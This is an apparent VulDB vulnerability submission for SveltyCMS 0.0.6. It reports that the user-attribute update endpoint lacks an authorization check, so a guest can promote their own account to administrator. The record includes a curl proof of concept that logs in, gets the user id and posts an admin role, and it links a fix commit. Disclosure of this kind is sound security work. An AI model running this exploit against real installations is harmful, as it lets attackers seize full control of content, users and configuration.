| Título | SveltyCMS 0.0.6 Improper Access Controls |
|---|
| Descripción | Summary
A missing authorization check in the user-attribute update endpoint allows any authenticated low-privileged user (including guests) to change their own role to administrator, gaining full control of the CMS.
Details
POST /api/auth/update-user-attributes is auto-permitted for any authenticated user by the API dispatcher (src/routes/api/[...path]/+server.ts) and writes whatever fields the caller supplies — including role and isAdmin. Users can call the API to assign administrator privileges to their own account.
PoC
Authenticate to the API as a guest user
curl -s -c /tmp/low.jar -H 'Content-Type: application/json'
-d '{"email":"lowprivilegeemail","password":"guestuserpassword"}'
http://127.0.0.1:5173/api/auth/login
Get your own user id
curl -s -b /tmp/low.jar http://127.0.0.1:5173/api/auth/me # copy "_id" into $LOW_ID
Promote yourself to admin
curl -s -b /tmp/low.jar -H 'Content-Type: application/json'
-H 'Origin: http://127.0.0.1:5173'
-d "{"user_id":"$LOW_ID","role":"admin","isAdmin":true}"
http://127.0.0.1:5173/api/auth/update-user-attributes
Log out and log back in to the UI to verify that your guest user is now an administrator.
Impact
Full account-to-admin takeover by any authenticated user with no interaction from an administrator. Complete compromise of content, users, and configuration. |
|---|
| Fuente | ⚠️ https://github.com/SveltyCMS/SveltyCMS/commit/05b4f9efeb79e9d72a693232334d7529687f896f |
|---|
| Usuario | HLever (UID 100450) |
|---|
| Sumisión | 2026-08-22 00:15 (hace 28 días) |
|---|
| Moderación | 2026-09-18 10:26 (27 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 407421 [SveltyCMS 0.0.6 User Attribute Update Endpoint +server.ts escalada de privilegios] |
|---|
| Puntos | 20 |
|---|